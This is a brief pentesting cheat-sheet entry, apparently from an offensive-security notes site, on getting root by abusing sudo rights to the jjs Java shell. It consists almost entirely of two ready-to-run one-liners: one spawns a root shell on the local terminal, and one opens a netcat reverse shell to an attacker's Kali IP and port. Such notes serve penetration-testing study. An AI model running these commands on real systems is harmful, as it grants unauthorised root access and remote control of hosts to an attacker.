jjs
(strangely there is no need to start a nc listener from kali in another panel, redirects to root automatically)
#insta root
echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()" | sudo jjs
#alternatively:
#kali IP: 192.168.10.19
echo “Java.type('java.lang.Runtime').getRuntime().exec('/usr/bin/nc -e /bin/bash 192.168.10.19 8000')” | sudo jjs
Previoussudo -u#-1 /bin/bashNext/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.242.b08-0.el7_7.x86_64/jre/bin/java
Last updated